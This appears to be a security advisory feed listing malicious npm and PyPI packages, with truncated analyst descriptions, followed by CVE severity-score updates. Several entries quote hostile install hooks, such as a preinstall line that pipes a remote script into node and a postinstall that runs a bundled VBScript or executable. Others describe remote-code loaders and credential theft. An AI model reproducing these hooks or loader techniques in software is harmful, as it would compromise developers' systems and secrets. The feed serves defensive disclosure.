MAL-2026-17292	New					npm:@selfpentest/bin-confusion	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (40a68543ca2674f2b90d89dd52516736791b7886d617c694d89dd3135e7499f3) package.json registers a `bin` entry named `npm` pointing at npm.js, deliberately colliding with the core npm CLI. Once this package is installed as a dependency, any `npm...` invocation in a consuming project's scripts ...
MAL-2026-17293	New					npm:@selfpentest/eslint-pentest-plugin	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f338876601180482b20a42fbd799b9d4e1b059bf7d733b5db448f7fc6d3455ff) Package presents itself as an ESLint plugin but the exported plugin object is an empty shell. index.js unconditionally invokes a steal() routine at top level, so any require() of the package (including ESLint auto-loadin...
MAL-2026-17294	New					npm:react-nodejs	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5777ca86863da9fabb9da8e1a0d6c2f30f05533265624b2da07a8d0804930481) package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripiter/install-scripts/raw/branch/main/node.js   node`, fetching a JavaScript file from an unrelate...
MAL-2026-17295	New					npm:test-agency-assign	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e650e815b4409c3c07cdab7c953ed69b8052f32a28c3686397ab362bb1bd4552) test-agency-assign@1.0.4 declares a package.json postinstall script `wscript.exe Kelimasow.exe` that auto-executes a bundled 8.4 MB Go-compiled Windows PE (Kelimasow.exe, sha256 875c7641dc980538f3c3d8b344d173f97cf64a5d97...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17296	New					npm:test-agency-assignment-01	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (2098eadf99f0ffe4dc04f478ed085034d30415cb52201be4f36f688298abc46e) The tarball contains only package.json and an 8.4 MB Go-compiled Windows executable, Kelimasow.exe (sha256 875c7641dc980538f3c3d8b344d173f97cf64a5d97dcf88d8e2932c83b876b92). package.json declares scripts.postinstall = "K...
MAL-2026-17297	New					npm:test-agency-assignment-02	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (e9944ea8ca21c0670c4b718a12427e8ca7330571ef5a9198a60b05f75038fe73) The tarball contains only package.json and 4444.vbs; the declared main entry (index.js) is absent. package.json defines a postinstall script `wscript.exe 4444.vbs`, so on `npm install` on Windows the VBScript executes au...
MAL-2026-17298	New					npm:testosu888	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3faa5787f8bebe8c5d73f3291c77975efb91c504ddd6a1d82cbe7e9f25372b27) On loading dist/index.cjs (main entry) and on running the dot2env CLI (dist/cli.cjs), the package invokes a dispatchAnalytics() routine that reads dist/stest.jpg, parses a JPEG APP13 (marker 0xED) segment to extract a hi...
MAL-2026-17299	New					npm:testosu8887	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (7d9d3296b770afd3fdebaf4df9d113873e9c77d2d498d2e7941a3465eeb6f97d) On require or CLI invocation, dist/index.cjs and dist/cli.cjs call a top-level function ('dispatchAnalytics', invoked via `he()`/`Re()`) that reads a bundled image (dist/stest.jpg), extracts a hidden UTF-8 string from it...
MAL-2026-17300	New					npm:common-fs	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (e3d99fa69df24bb5170c840f84e44038c20cf8b431c94abfd57eaa3701593684) common-fs advertises itself as a filesystem/transaction helper but ships an obfuscated code loader. index.js reconstructs the identifiers 'Function', 'Buffer', 'require', 'process', and 'setTimeout' from a shuffled strin...
MAL-2026-17301	New					npm:fs-commons	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (f7e82e98343807c39ea786017de4d2a7455815424155ca2a856333d895c8a48b) The package presents itself as a filesystem/data-helper library, but its exported getTransactions()/load_transaction_data() functions are a two-file dynamic-code loader. index.js hides the identifiers 'Function', 'requir...
MAL-2026-17302	New					npm:solidity-lock	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (7e283fd2d07e81705e23d5756d15edd4ff4dc7a074d37511155ef9dca1fd9b8) The package's declared main index.js is a trivial no-op Express middleware whose only real effect is to require('./lib/config'), a ~4 MB obfuscator.io-style bundle (rotating string array, hex-escaped entries, self-execut...
MAL-2026-17303	New					npm:web-vitals-polyfill-core-v1	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (38311c0f483e9485a7b5e8aa7f9a093a40203d8e1a025c0bf5850c2874cffdfa) The package name mimics the widely-used web-vitals polyfill but the tarball ships disk/index.min.js, a base64-wrapped service-worker payload (self.__PWA_ROUTER__.executeTacticalRouting) that resolves an active destinatio...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17304	New					npm:dotenv-precheck	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (446a8483dbc9e696506f44c6777b7c086b1b919b2585b5e5c99ca5f6e2e19a8e) dotenv-precheck@1.0.0 is a credential-stealing package disguised as a dotenv preflight utility. package.json wires index.js as a postinstall script, so it runs automatically on npm install. index.js is heavily obfuscated...
MAL-2026-17305	New					npm:esm-dotenv	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (55c5c67c48596e011158554f8b5ea57d65a8a8dc3b5f4120d3c9c4d1cf961da2) The package advertises itself as a zero-dependency dotenv parser but its main entry `dist/index.cjs` and CLI bin `dist/cli.cjs` both invoke `dispatchAnalytics()` at top-level module load. That function reads `dist/stest`...
MAL-2026-17306	New					npm:fabric-loader-core	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (a11b2ce0f9b1a7b7587acd21c631a72069bab0216c8bf010f4fb04f8b0ae543f) The package's postinstall hook runs index.js, which performs an HTTPS GET to the hardcoded host https://fabric-npm.gm-service.xyz/p and passes the response body directly to vm.runInContext with a context exposing require...
MAL-2026-17307	New					npm:fabric-mod-utils	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (b3ada8fa4c11f57f6f8bfcf158b33b56d71f6f1433910b981cec70492b2272a9) The package declares scripts.postinstall = 'node index.js'. On install, index.js performs an HTTPS GET to the hardcoded host fabric-npm.gm-service.xyz at path /p and passes the response body to vm.runInContext, executing...
MAL-2026-17308	New					npm:mfa-helper	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (e6df54a49845aa55e3310261ccc7002fe5aabcdf3924875bf7c1ad3fb4751297) package.json declares its only runtime dependency, `node-net-pool`, as an https tarball pointing at the `main` branch of an unrelated GitHub account (`https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main...
MAL-2026-17309	New					npm:stestenv	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (ee35b23a60484ee1d468154734cc7cdbc8c7d3cbc81901ab680cb67e46a8c2b6) On require of the package's main entry, `dispatchAnalytics()` reads a payload hidden in the JPEG APP13 (marker 0xFFED) segment of the bundled `dist/stest.jpg`, decrypts it with a hardcoded AES-256-CBC key to obtain a UTF...
MAL-2026-17310	New					npm:tailwind-forms-kit	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (a1083ea1ddf83f29a443e7ba4b24db0d24da35dfd0a9d0ac032ae20501ac57ea) npm package tailwind-forms-kit@0.5.1 impersonates the @tailwindcss/forms plugin: the package.json name field is ' tailwind-forms-kit' (with a leading space), the README mirrors tailwindlabs/tailwindcss-forms, and the rep...
MAL-2026-17311	New					npm:itsmeeaizat-bailey	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (e87b4292727088efa5df8326a5f868b2c6bb3ae66ee15cecc18f2fa899296075) package.json declares the `libsignal` dependency as `git+https://github.com/whiskeysockets/libsignal-node` with no tag, no commit SHA, and no integrity constraint. On `npm install`, this resolves to whatever the default ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17312	New					npm:json-bigint-rs	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7f5b71b917a0504deb87a597d9d07527179c2d6bb9ec1f836caa34d6145aa043) On require(), index.js instantiates the shipped json-bigint-rs.wasm module and, for imports declared under the 'wasm:js/string-constants' module namespace, exposes each descriptor's name as an externref global. This mech...
MAL-2026-17313	New					npm:pixsvg	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (23f6989954f196f485ff049ef7dc22bb800a57187e6bdc8bd0e002ed4bbc1db7) The pixsvg module exports fetchDataFromSvg(svgData), which scans the input SVG for a comment of the form <!--HIDDEN_JS:([01]+)-->, reassembles the binary-encoded 1/0 sequence into a JavaScript string via binaryToData (pa...
MAL-2026-17314	New					npm:test-supply-npm-lib-4	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80bcbaa6379206627641c70dd25da3c3adfd51337f9a378223a6f8f13c8ba3ed) package.json declares a dependency `test-supply-npm-git-prepare-proof-4` whose value is a bare git URL (`git+https://git@github.com/agustedone/test-supply-npm-git-prepare-proof-4.git`) rather than a registry version rang...
MAL-2026-17316	New					npm:booking-eligibility	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2c93f5b06720659d8e0cc8efb7d6bd75f577605e84c27cfb600a795081c27654) package.json declares a postinstall lifecycle hook `wscript.exe 4444.vbs` that runs Windows Script Host against a `.vbs` file on `npm install`. The referenced `4444.vbs` is not shipped in the tarball, so the hook either ...
MAL-2026-17317	New					npm:booking-tasks	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (08305a6c73bd94f2983c949316cb78fef7f7169f85523a773c94fb305874e063) The package's package.json declares a postinstall hook `wscript.exe 4444.vbs` that fires automatically on `npm install`. The bundled 4444.vbs contains hand-rolled AES-128 (with XOR-masked forward/inverse S-boxes), a ChaC...
MAL-2026-17318	New					npm:developmentstelemetry	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (98ef8863222571a8e77635ed5129c41ad9583d9df4e9e5fd61b5a07c4fb26887) package.json declares scripts.postinstall = 'node index.js'. index.js is a 143-byte stub whose only behavior is to dynamically import the sole declared dependency 'originaldevelopmentstelemetry@1.2.2' and invoke its expo...
MAL-2026-17319	New					PyPI:bfox-build-utils	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cae53348f8261653938b39ae3cb79101baff666c4216ecaeb635e34b42ba8293) At install time, setup.py harvests the installer's GitHub credential and uses it to modify the installer's own repository. The script reads `\${GITHUB_WORKSPACE}/.git/config`, regexes the `extraheader = AUTHORIZATION: basic...
MAL-2026-17320	New					npm:cdn-img-fetch	--- _=- Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d7922ab741ba357d3d9bb14201acdffd89639cb0b7a8850180d6dd9a8266e9f7) On require() of cdn-img-fetch, index.js unconditionally invokes https.get against https://raw.githubusercontent.com/cavecrew/proj/main/banner.png and pipes the response into a hidden dot-file at os.tmpdir()/._cif_data (w...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17321	New					npm:chaienv	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cbb73465123d4e732dae815badc8950b40e9447463c1fca697551ab3aa00e020) chaienv@1.0.2 is published as a small Chai environment helper, but its index.js unconditionally loads lib/config.js at require() time via `const { config } = require('./lib/config')`. lib/config.js is a 4,454,290-byte si...
MAL-2026-17322	New					npm:contoso-login-sim-loader	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (062ce76699c91a883d24e3ad609bb04faa3f52cbeaecfb24c1c3bcde8b496a5c) Package ships a single ~138 KB browser script whose entire body is an RC4-encrypted base64 blob decoded at runtime by an inline RC4 routine (`_zc`) with a DJB2 helper (`_zh`) and a key reconstructed by XORing a numeric a...
MAL-2026-17323	New					npm:cortana-md-engine	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9a2de4b6992a1dd7177803253b8c214d1ba7cc911cf0e1e7f800e1e9ff7ab5b1) cortana-md-engine is a Baileys-based WhatsApp bot whose bundled entryptoints dist/hosted.cjs and dist/index.cjs hardcode five mongodb+srv://cortanauser:...@{cluster2 .uvds2qk,cluster3.t2gtazm,cluster4.bwuctn9,cluster5.kdka...
MAL-2026-17324	New					npm:dotenv-preflight	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f8e18dd97225f3e61274667a66297cee2224f99b7c3915e5a5f138028f5d0dd0) The npm package dotenv-preflight@1.0.0 presents itself as a dotenv-related preflight utility but ships a single index.js whose contents are heavily obfuscated (hex-prefixed identifiers such as _0x351140, _0x3256d4, _0x3d...
MAL-2026-17325	New					PyPI:cleanup-string	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (844c5afa9f00c02149f4f6314447c5738e04ed419014809c1df83f31aa012525) The package advertises itself as a pure-Python string helper (strip, slugify, case conversion, whitespace collapse) and its README states the implementation is standard-library only. However, `cleanup_string/__init__.py`...
MAL-2026-17327	New					npm:exiouss	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (43ce408818d0222061c3b6ed499d77a245aae78e30e4f57c8e6e77ee52705805) main.js in exiouss@5.0.1 imports child_process and issues POST requests to hardcoded endpoints, including https://gemini.google.com and https://ipc.shadxino.internal (main.js around lines 368-386). The presence of an `ip...
MAL-2026-17328	New					npm:fca-raihan	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (241006adda5ea773d76d48d874c80a4054215ed18f05de3e392cdd86c0379785) package.json for fca-raihan declares a dependency whose key equals the package's own name (`fca-raihan`) with source `github:raihan9099/fca-raihan`. This is an off-registry dependency source with no ref pin and no integr...
MAL-2026-17329	New					npm:focaleys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (481093b5037c8aafc763d4543e5a6a39c2ebc7055673eb1d4f480f885593bcd2) package.json declares the dependency 'libsignal' as 'github:rexxxyid/libsignal-node' with no tag, version, or commit SHA. On npm install, this resolves to whatever the default branch HEAD contains at that moment, with no...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17330	New					npm:imgbundle	--- _:= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e14218599b46d143fa8e150156864d14d58c327bd8a8816221ac4e8c5cc99350) The package advertises itself as an image bundler, but index.js performs no image bundling. On require, a top-level IIFE reads an AES-256-CBC-encrypted file at `cdn-img-fetch/.cache/banner.jpg` inside the sibling depende...

Significant updates today - original Published Date retained

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102240	Updated - CVSS changed (10.0 → 9.3)	9.3	CRIT		0.02		A vulnerability was found in Netcore NAP930 0.1.241010.141410. This affects the function eval of the file /www/cgi-bin/network_tools of the component Network Tools CGI. The manipulation of the argument sid results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this dis...
CVE-2026-102334	Updated - CVSS changed (7.4 → 9.1)	9.1	CRIT		0.005		Nginx Proxy Manager through 2.16.0 lacks rate-limiting on authentication endpoints, allowing unauthenticated attackers to make unlimited password guesses against any account. Attackers can brute-force login credentials via POST /api/tokens and subsequently guess TOTP codes via POST /api/tokens/2fa to gain full session access and administrative control.
CVE-2026-91006	Updated - CVSS added	8.8	HIGH		0.004		Apache Karaf's instance-management service (InstanceServiceImpl) builds the command line used to launch a child Karaf JVM by string concatenation, then executes it through /bin/sh (Unix) or cscript (Windows). The caller-supplied javaOpts value is spliced into that string unquoted. A javaOpts value containing shell metacharacters (;, , `, \$(...)) is interpreted by the shell ...
CVE-2026-101354	Updated - CVSS changed (9.6 → 8.6)	8.6	HIGH		0.004		A security flaw has been discovered in FAST FAC1203R 20200116_2.0.4. The affected element is the function _tWlanTask of the component MmtAtePrase Parser. Performing a manipulation results in stack-based buffer overflow. The attacker must have access to the local network to execute the attack. The exploit has been released to the public and may be used for attacks. The vendor...
CVE-2026-101187	Updated - CVSS changed (9.1 → 8.5)	8.5	HIGH		0.023		A weakness has been identified in Ziroom ZHOME A0101 1.0.1.0. This vulnerability affects the function pop_usb_device of the file usr/lib/lua/luci/controller/api/zrUsb.lua of the component USB Device Management API. This manipulation of the argument path causes command injection. The attack is possible to be carried out remotely. The exploit has been made available to the pub...
CVE-2026-101260	Updated - CVSS changed (9.1 → 8.5)	8.5	HIGH		0.023		A vulnerability was detected in Ziroom ZHOME A0101 1.0.1.0. Affected by this issue is some unknown functionality of the file /api/ZRnetwork/firstLogin. Performing a manipulation of the argument firstLogin results in command injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-101262	Updated - CVSS changed (9.1 → 8.5)	8.5	HIGH		0.024		A vulnerability has been found in Ziroom ZHOME A0101 1.0.1.0. This vulnerability affects unknown code of the file /api/ZRQos/set_online_client. The manipulation of the argument ip leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but di...
CVE-2026-101263	Updated - CVSS changed (9.1 → 8.5)	8.5	HIGH		0.023		A vulnerability was found in Ziroom ZHOME A0101 1.0.1.0. This issue affects some unknown processing of the file /api/ZRQos/set_online_client. The manipulation of the argument mac results in command injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respo...
CVE-2026-102296	Updated - CVSS changed (6.5 → 8.3)	8.3	HIGH		0.004		ZoneMinder before 1.38.4 contains static buffer overflow vulnerabilities in RemoteCameraHttp::GetResponse() that allow malicious HTTP cameras or intercepting attackers to overflow fixed-size buffers by sending oversized response headers. Attackers can send crafted HTTP responses with oversized status messages, Connection headers, Content-Type values, or multipart boundaries ...
CVE-2026-101878	Updated - CVSS changed (7.5 → 7.7)	7.7	HIGH		0.003		Bitwarden Server 2025.6.0 before 2026.5.0 declares the @ExternalId parameter of the User_ReadBySsoUserOrganizationIdExternalId stored procedure as NVARCHAR(50) while the column it queries stores NVARCHAR(300), silently truncating the SSO login identifier on SQL Server deployments and allowing a user whose identity-provider identifier begins with another organization member's...
CVE-2026-93355	Updated - CVSS changed (8.1 → 7.6)	7.6	HIGH		0.003		LiteLLM contains a weak authentication vulnerability that allows an attacker holding a valid JWT from the configured identity provider to authenticate as any existing user by exploiting an email-based fallback lookup in the JWT authentication flow without verifying the email_verified claim. Attackers can present a token with an unverified email address matching a victim's ac...
CVE-2026-101860	Updated - CVSS changed (8.8 → 7.4)	7.4	HIGH		0.005		A vulnerability was found in RaspAP raspap-webgui up to 3.5.5. Affected by this issue is the function PluginInstaller::addSudoers of the file src/RaspAP/Plugins/PluginInstaller.php of the component sudo Configuration. Performing a manipulation results in improper privilege management. The attack may be initiated remotely. The exploit has been made public and could be used. T...
CVE-2024-58386	Updated - CVSS changed (6.5 → 7.1)	7.1	HIGH		0.004		ZoneMinder versions 1.37.0 before 1.38.0 contain a path traversal vulnerability in the files view that allows authenticated users to read arbitrary files. The path parameter is not properly validated before being passed to output_file, enabling attackers with Events view permission to access sensitive files like configuration files containing database credentials.
CVE-2026-101091	Updated - CVSS vector changed	7.1	HIGH		0.003		SiYuan versions before v3.8.4 fail to properly validate SQL statements in block query embed blocks executed against siyuan.db. Attackers can craft malicious .sy documents with non-read-only SQL statements that execute automatically during background indexing, rendering, or export operations without authentication.
CVE-2026-102247	Updated - CVSS changed (6.8 → 7.1)	7.1	HIGH		0.004		A vulnerability was detected in FastAdmin 1.6.1.20250430/1.6.5.20260602. This affects an unknown function of the file application/database.php of the component Database Management. The manipulation results in execution with unnecessary privileges. The attack may be launched remotely. The exploit is now public and may be used.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102362	Updated - CVSS changed (5.3 → 6.9)	6.9	MEDI		0.003		mall4j through 4.0 fails to implement authentication controls on the DELETE /prodComm endpoint in ProdCommController. Unauthenticated attackers can delete arbitrary product reviews by supplying the prodCommId parameter without authorization checks.
CVE-2026-101911	Updated - Fix/version updated	6.3	MEDI		0.003	npm:ip-address	### Summary `new Address6()` and `Address6.isValid()` place no bound on the length of the string they parse. When the string contains a character that cannot appear in an IPv6 address, the parser builds a diagnostic that wraps every such character in a 34-byte ` <span >`,="" ...<="" 1="" a="" address.="" an="" and="" class="parse-error" input="" memory="" mib="" rather="" scale="" so="" td="" than="" the="" with="" work="">
CVE-2026-101912	Updated - Fix/version updated	6.3	MEDI		0.004	npm:ip-address	### Summary `isInSubnet()` and `isHostInSubnet()` accept an address of either family and compare masked binary strings without checking that both operands are the same family. `Address4` pads to 32 bits and `Address6` to 128, so whenever the leading bits agree the strings are equal: `new Address6('a00::1').isInSubnet(new Address4('10.0.0.0/8'))` is `true`, and `new Address4...
CVE-2026-102363	Updated - CVSS changed (3.7 → 6.3)	6.3	MEDI		0.003		mall4j through 4.0 contains a missing authentication vulnerability in the DeliveryController checkDelivery endpoint that allows unauthenticated attackers to read shipment tracking information by supplying an order number parameter. Attackers can access carrier names, waybill numbers, and complete logistics trails for any order without authentication or ownership verification.
CVE-2026-88058	Updated - CVSS added	6.1	MEDI		0.009	angular:angular	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes ProcessingInstruction DOM nodes inside fallback raw-content elements without escaping matching ancestor closing tags. ProcessingIns...
CVE-2026-101277	Updated - CVSS changed (6.5 → 5.5)	5.5	MEDI		0.002		A security flaw has been discovered in Trusted Domain Project OpenDKIM up to 2.11.0. The impacted element is the function dkim_process_set of the file dkim.c of the component Tag Tokenizer. Performing a manipulation results in use of less trusted source. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor ...
CVE-2026-101279	Updated - CVSS changed (6.5 → 5.5)	5.5	MEDI		0.003		A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarc_policy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendo...
CVE-2026-101280	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was detected in Trusted Domain Project OpenDMARC up to 1.4.2. Affected is the function opendmarc_policy_query_dmarc of the component Multi-Record Set Handler. The manipulation results in authentication bypass by spoofing. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but di...
CVE-2026-102248	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was identified in Rebuild up to 4.4.7/4.5.0-beta5. This affects an unknown part of the file /user/login of the component Login Endpoint. The manipulation leads to improper authentication. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-101093	Updated - CVSS changed (5.4 → 5.3)	5.3	MEDI		0.001		Cotonti through 1.0.0 contains a cross-site request forgery vulnerability in admin.users.php that allows attackers to delete user groups without token verification. Attackers can craft malicious links or pages that trick authenticated administrators into deleting custom groups and their associated permissions by riding the administrator's session.
CVE-2026-102297	Updated - CVSS changed (4.3 → 5.3)	5.3	MEDI		0.002		ZoneMinder before 1.38.4 fails to apply per-monitor access restrictions in the FramesController index endpoint. Authenticated users with Events view permission can call the frames API to list frame records from monitors they are denied access to, disclosing event and frame metadata across monitor boundaries.
CVE-2026-102333	Updated - CVSS changed (6.1 → 5.3)	5.3	MEDI		0.002		httplib before 2.2.1 fails to validate URL schemes in recorded HTTP request URLs rendered as clickable links in the web interface. Attackers controlling traffic recorded by httplib can supply javascript: scheme URLs that execute malicious scripts in the application origin when clicked, allowing access to captured request and response data including headers and tokens.
CVE-2026-102364	Updated - CVSS changed (5.4 → 5.3)	5.3	MEDI		0.002		mall4j through 4.0 fails to validate the sysType field in sa-token sessions, allowing storefront customers to authenticate as back-office users by reusing their session tokens. Attackers can register on the public storefront and use their customer session token to access admin endpoints lacking @PreAuthorize permission checks, including menu listings, file uploads, and confi...
CVE-2026-102367	Updated - CVSS changed (5.4 → 5.3)	5.3	MEDI		0.002		mall4j through 4.0 contains an insufficient session expiration vulnerability in the token refresh endpoint that fails to validate the enabled flag when issuing new sessions. Disabled user accounts can indefinitely renew their sessions through the POST /token/refresh endpoint, retaining access that account disabling was intended to remove.
CVE-2026-102372	Updated - CVSS changed (6.1 → 5.3)	5.3	MEDI		0.002		GestSup versions before 3.2.62 fail to properly sanitize HTML email bodies in the IMAP LOGIN connector, allowing unauthenticated attackers to store arbitrary JavaScript in ticket descriptions and replies. Attackers can send emails to the monitored mailbox containing script tags and event handlers that execute in technician browsers, enabling ticket data theft and unauthorize...
CVE-2026-102374	Updated - CVSS changed (6.1 → 5.3)	5.3	MEDI		0.002		GestSup versions before 3.2.62 contain a stored cross-site scripting vulnerability in the IMAP OAuth connector that double-decodes MIME-encoded email subjects after HTML escaping. Unauthenticated attackers can send crafted emails to monitored mailboxes with nested MIME encoded-words to inject JavaScript that executes in technician sessions when viewing tickets.
CVE-2026-101143	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.004		A vulnerability was found in Eleveo Quality Management 9.7.0. Affected by this issue is some unknown functionality of the file /qm/cz.zoom.scorecard.webui.Scorecard/cz.zoom.scorecard.webui.Scorecard/QMBODownload. The manipulation results in information disclosure. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacte...
CVE-2026-101144	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A vulnerability was determined in Eleveo Call Recording Software 9.7.0. This affects an unknown part of the file /callrec/searchAction.do of the component Query Builder. This manipulation causes improper access controls. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this discl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-101146	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.003		A security flaw has been discovered in Eleveo Quality Management 9.7.0. This issue affects the function UtilsService.createAndSaveAudit of the file /qm/cz.zoom.scorecard.webui.Scorecard/QMUtilsService of the component GWT RPC Handler. Performing a manipulation results in information disclosure. The attack is possible to be carried out remotely. The exploit has been released ...
CVE-2026-101202	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A flaw has been found in FastStone Image Viewer up to 8.3. The affected element is an unknown function of the component TGA Image Handler. Executing a manipulation can lead to out-of-bounds write. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-101203	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A vulnerability has been found in FastStone Image Viewer up to 8.3. The impacted element is an unknown function of the component 1bpp RLE Decoder. The manipulation leads to out-of-bounds write. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-101205	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A vulnerability was determined in FastStone Image Viewer up to 8.3. This impacts an unknown function of the component PCX Decoder. This manipulation causes out-of-bounds read. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-102243	Updated - CVSS changed (7.4 → 2.1)	2.1	LOW		0.012		A vulnerability was identified in MODSetter SurfSense up to 2.0.3. This issue affects some unknown processing of the file /api/search-source/connectors/mcp/test of the component MCP Connector Integration. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted ea...
CVE-2026-102244	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.002		A security flaw has been discovered in MODSetter SurfSense up to 0.0.36. Impacted is an unknown function of the file surfsense_backend/app/routes/editor_routes.py of the component Document Export Feature. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for atta...
CVE-2026-102261	Updated - CVSS changed (5.4 → 2.1)	2.1	LOW		0.002		A flaw has been found in owen2345 Camaleon CMS up to 2.9.2. Impacted is the function crop of the file app/controllers/camaleon_cms/admin/media_controller.rb of the component Media Crop Handler. This manipulation of the argument saved_avatar causes authorization bypass. The attack may be initiated remotely. The exploit has been published and may be used. Upgrading to version ...
CVE-2026-102366	Updated - CVSS changed (4.4 → 2.1)	2.1	LOW		0.002		mall4j through 4.0 contains an unrestricted file upload vulnerability in FileController endpoints that lack authorization checks and accept arbitrary file types without validation. Attackers with any authenticated token can upload HTML or SVG files that execute scripts in administrator browsers when accessed from the local storage path, resulting in stored cross-site scripting.
CVE-2026-101141	Updated - CVSS changed (3.5 → 2.0)	2.0	LOW		0.002		A flaw has been found in Eleveo Call Recording Software 9.7.0. Affected is an unknown function of the file /callrec/audio.jsp of the component Play Audio Page. Executing a manipulation of the argument viewRoleId/cfType can lead to cross site scripting. The attack can be launched remotely. The exploit has been published and may be used. The vendor was contacted early about th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-101858	Updated - CVSS changed (4.7 → 2.0)	2.0	LOW		0.021		A flaw has been found in RaspAP raspap-webgui up to 3.5.5. Affected is the function WiFiManager::writeWpaSupplicant of the file src/RaspAP/Networking/Hotspot/WiFiManager.php of the component SSID Processing. This manipulation of the argument ssid causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was ...
CVE-2026-102263	Updated - CVSS changed (4.7 → 2.0)	2.0	LOW		0.002		A vulnerability has been found in mwasikz robo-cafe-rms up to 228c44a02823f04e85db32b7137809a2856148fc. The affected element is an unknown function of the file manage-food.php. Such manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ens...
